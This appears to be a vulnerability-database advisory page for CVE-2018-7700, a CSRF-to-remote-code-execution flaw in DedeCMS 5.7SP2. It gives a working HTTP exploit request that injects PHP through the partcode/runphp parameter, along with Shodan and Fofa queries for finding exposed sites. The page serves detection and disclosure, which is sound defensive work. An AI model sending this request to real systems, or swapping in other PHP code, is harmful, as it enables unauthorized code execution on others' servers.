🔙 목록으로 돌아가기

CVE-2018-7700: DedeCMS 5.7SP2 - Cross-Site Request Forgery/Remote Code Execution

TitleDedeCMS 5.7SP2 - Cross-Site Request Forgery/Remote Code Execution
Authorpikpikcu
SeverityHigh
ImpactSuccessful exploitation of these vulnerabilities can lead to unauthorized actions performed on behalf of the user and execution of arbitrary code.
RemediationApply the latest security patches and update to a newer version of DedeCMS.
CVSS Score8.8
EPSS Score0.93575
CVE IDCVE-2018-7700
CWE IDCWE-352
Shodan Queryhttp.html:"dedecms"cpe:"cpe:2.3:a:dedecms:dedecms"
Fofa Querybody="dedecms"app="dedecms"
Tags cve cve2018 dedecms rce vkev vuln

🔍 Vulnerability Description

DedeCMS 5.7SP2 is susceptible to cross-site request forgery with a corresponding impact of arbitrary code execution because the partcode parameter in a tag_test_action.php request can specify a runphp field in conjunction with PHP code.

🌐 HTTP Request

GET /tag_test_action.php?url=a&token&partcode={dede:field%20name=%27source%27%20runphp=%27yes%27}echo%20md5%28%22CVE-2018-7700%22%29%3B{/dede:field} HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 13_4_1) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.5 Safari/605.1.15
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2018/CVE-2018-7700.yaml

🦈 Packet Capture: ⬇️ Download cve-2018-7700.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A